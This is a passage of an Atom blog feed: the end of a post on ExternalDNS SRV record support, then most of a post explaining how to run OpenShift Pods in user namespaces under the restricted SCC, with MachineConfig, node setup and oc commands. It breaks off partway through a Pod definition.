does not meet the needs of typical applications that use &lt;code&gt;SRV&lt;/code&gt;
records. Operators of such applications currently have one of two
options: either manage the records manually (do not want), or
implement the required automation yourselves (e.g. in the
application’s &lt;em&gt;operator&lt;/em&gt; program).&lt;/p&gt;
&lt;p&gt;The best way forward is to implement better support for &lt;code&gt;SRV&lt;/code&gt;
records in ExternalDNS itself, so everyone can benefit through
shared effort and maintainership vested in the Kubernetes SIG. I
shall file a ticket and perhaps restart discussions in the
&lt;a href=&quot;https://github.com/kubernetes-sigs/external-dns/pull/1330&quot;&gt;abandoned pull request&lt;/a&gt; with a view to getting this
critical feature on the ExternalDNS roadmap. The extent of
involvement of myself or my team in implementing or driving this
feature work will be determined later.&lt;/p&gt;</content>
		<author>
			<name>Fraser Tweedale</name>
			<email>frase@frase.id.au</email>
			<uri>https://frasertweedale.github.io/blog-redhat</uri>
		</author>
		<source>
			<title type="html">Fraser's IdM Blog</title>
			<link rel="self" href="https://frasertweedale.github.io/blog-redhat/atom.xml"/>
			<id>https://frasertweedale.github.io/blog-redhat/atom.xml</id>
			<updated>2026-05-10T07:26:11+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Running Pods in user namespaces without privileged SCCs</title>
		<link href="https://frasertweedale.github.io/blog-redhat/posts/2022-02-02-openshift-user-ns-without-anyuid.html"/>
		<id>https://frasertweedale.github.io/blog-redhat/posts/2022-02-02-openshift-user-ns-without-anyuid.html</id>
		<updated>2022-02-02T00:00:00+00:00</updated>
		<content type="html">&lt;h1 id=&quot;running-pods-in-user-namespaces-without-privileged-sccs&quot;&gt;Running Pods in user namespaces without privileged SCCs&lt;/h1&gt;
&lt;p&gt;In &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/2021-07-22-openshift-systemd-workload-demo.html&quot;&gt;previous posts&lt;/a&gt; I demonstrated how to run workloads in an
isolated user namespace on OpenShift. There are still come caveats
to doing this. One of these relates to &lt;em&gt;Security Context
Constraints (SCCs)&lt;/em&gt;, a security policy mechanism in OpenShift. In
particular, it appeared necessary to admit the Pod via the &lt;code&gt;anyuid&lt;/code&gt;
SCC, or one with similar high privileges. This meant that although
the workload itself runs under unprivileged UIDs, the account that
creates the Pod would need privileges to create Pods that run under
arbitrary host UIDs. This is not a desirable situation.&lt;/p&gt;
&lt;p&gt;I have investigated that matter further, and it turns out that you
&lt;em&gt;can&lt;/em&gt; run a workload in a user namespace even via the default
&lt;code&gt;restricted&lt;/code&gt; SCC. But the configuration is not intuitive, and the
reasons &lt;em&gt;why&lt;/em&gt; it must be configured that way are convoluted. In
this post I explain the challenges that arise when running a user
namespaced Pod under the &lt;code&gt;restricted&lt;/code&gt; SCC, and demonstrate the
solution.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;This post assumes a basic knowledge of Security Context Constraints.
If you are unfamiliar with SCCs, the DevConf.cz 2022 presentation
&lt;em&gt;Introduction to Security Context Constraints&lt;/em&gt; (&lt;a href=&quot;https://static.sched.com/hosted_files/devconfcz2022/d5/%5BDevConf.CZ%2022%5D%20SCCs%20Presentation.pdf&quot;&gt;slides&lt;/a&gt;,
&lt;a href=&quot;https://www.youtube.com/watch?v=MrYSUmk-nr4&quot;&gt;video&lt;/a&gt;) by Alberto Losada and Mario Vázquez will bring you up to
speed.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&quot;cluster-configuration&quot;&gt;Cluster configuration &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cluster-configuration&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I am testing on an OpenShift 4.10 (pre-release) cluster. Some
changes to worker node configuration are required. The following
&lt;code&gt;MachineConfig&lt;/code&gt; object defines those changes:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb1&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb1-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; machineconfiguration.openshift.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; MachineConfig&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;machineconfiguration.openshift.io/role&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; worker&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; idm-4-10&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;kernelArguments&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; systemd.unified_cgroup_hierarchy=1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; cgroup_no_v1=&amp;quot;all&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; psi=1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;ignition&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fl&quot;&gt;3.1.0&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-15&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-15&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;systemd&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-16&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-16&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;units&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-17&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-17&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;override-runc.service&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-18&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-18&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-19&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-19&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;        contents&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-20&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-20&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;          [Unit]&lt;/span&gt;
&lt;span id=&quot;cb1-21&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-21&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;          Description=Install runc override&lt;/span&gt;
&lt;span id=&quot;cb1-22&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-22&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;          After=network-online.target rpm-ostreed.service&lt;/span&gt;
&lt;span id=&quot;cb1-23&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-23&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;          [Service]&lt;/span&gt;
&lt;span id=&quot;cb1-24&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-24&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;          ExecStart=/bin/sh -c 'rpm -q runc-1.0.3-992.rhaos4.10.el8.x86_64 || rpm-ostree override replace --reboot https://ftweedal.fedorapeople.org/runc-1.0.3-992.rhaos4.10.el8.x86_64.rpm'&lt;/span&gt;
&lt;span id=&quot;cb1-25&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-25&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;          Restart=on-failure&lt;/span&gt;
&lt;span id=&quot;cb1-26&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-26&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;          [Install]&lt;/span&gt;
&lt;span id=&quot;cb1-27&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-27&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;          WantedBy=multi-user.target&lt;/span&gt;
&lt;span id=&quot;cb1-28&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-28&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;storage&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-29&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-29&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;files&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-30&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-30&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; /etc/subuid&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-31&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-31&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;overwrite&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-32&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-32&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-33&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-33&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; data:text/plain;charset=utf-8;base64,Y29yZToxMDAwMDA6NjU1MzYKY29udGFpbmVyczoyMDAwMDA6MjY4NDM1NDU2Cg==&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-34&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-34&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; /etc/subgid&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-35&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-35&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;overwrite&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-36&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-36&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-37&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-37&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; data:text/plain;charset=utf-8;base64,Y29yZToxMDAwMDA6NjU1MzYKY29udGFpbmVyczoyMDAwMDA6MjY4NDM1NDU2Cg==&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-38&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-38&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; /etc/crio/crio.conf.d/99-crio-userns.conf&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-39&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-39&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;overwrite&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-40&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-40&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-41&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-41&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; data:text/plain;charset=utf-8;base64,W2NyaW8ucnVudGltZS53b3JrbG9hZHMub3BlbnNoaWZ0LXVzZXJuc10KYWN0aXZhdGlvbl9hbm5vdGF0aW9uID0gImlvLm9wZW5zaGlmdC51c2VybnMiCmFsbG93ZWRfYW5ub3RhdGlvbnMgPSBbCiAgImlvLmt1YmVybmV0ZXMuY3JpLW8udXNlcm5zLW1vZGUiLAogICJpby5rdWJlcm5ldGVzLmNyaS1vLmNncm91cDItbW91bnQtaGllcmFyY2h5LXJ3IiwKICAiaW8ua3ViZXJuZXRlcy5jcmktby5EZXZpY2VzIgpdCg==&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The main parts of this &lt;code&gt;MachineConfig&lt;/code&gt; are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The &lt;strong&gt;&lt;code&gt;kernelArguments&lt;/code&gt;&lt;/strong&gt; enable cgroupsv2, which are not strictly
required for this demo, but are required for running systemd-based
workloads.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;strong&gt;&lt;code&gt;override-runc.service&lt;/code&gt;&lt;/strong&gt; systemd unit installs a custom
version of runc that implements the new &lt;a href=&quot;https://github.com/opencontainers/runtime-spec/blob/8958f93039ab90be53d803cd7e231a775f644451/config-linux.md#cgroup-ownership&quot;&gt;OCI Runtime Specification
cgroup ownership semantics&lt;/a&gt;.
This should be the default behaviour in future versions of
OpenShift, perhaps as soon as OpenShift 4.11.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;/etc/subuid&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;/etc/subgid&lt;/code&gt;&lt;/strong&gt; provide a sub-id mapping range
for CRI-O to use when creating Pods with user namespaces.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;/etc/crio/crio.conf.d/99-crio-userns.conf&lt;/code&gt;&lt;/strong&gt; defines the
&lt;code&gt;io.openshift.userns&lt;/code&gt; workload type for CRI-O. It is also not
strictly necessary for this demo but is required for systemd-based
workloads to run successfully. The default CRI-O configuration in
OpenShift 4.10 provides the &lt;code&gt;io.openshift.builder&lt;/code&gt; workload type,
which is sufficient if your workload does not need to manage
cgroups.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Aside from the node configuration changes, I (as cluster admin) also
created project and user account to use for the subsequent steps:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc new-project test
Now using project &amp;quot;test&amp;quot; on server &amp;quot;https://api.ci-ln-5rkyxfb-72292.origin-ci-int-gce.dev.rhcloud.com:6443&amp;quot;.
…

% oc create user test
user.user.openshift.io/test created

% oc adm policy add-role-to-user edit test
clusterrole.rbac.authorization.k8s.io/edit added: &amp;quot;test&amp;quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I did not assign any special SCCs to the &lt;code&gt;test&lt;/code&gt; user account.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;Remember to wait for the Machine Config Operator to finish updating
the worker nodes before proceeding with Pod creation. You can use
&lt;code&gt;oc wait&lt;/code&gt; to await this condition:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc wait mcp/worker \
    --for condition=updated --timeout=-1s&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h2 id=&quot;problem-demonstration&quot;&gt;Problem demonstration &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#problem-demonstration&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The objective is to run a Pod in a user namespace, with that Pod
being admitted via the default &lt;code&gt;restricted&lt;/code&gt; SCC. We will start with
the following Pod definition:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb4&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb4-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Pod&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; fedora&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;io.openshift.userns&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;io.kubernetes.cri-o.userns-mode&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;auto:size=65536&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
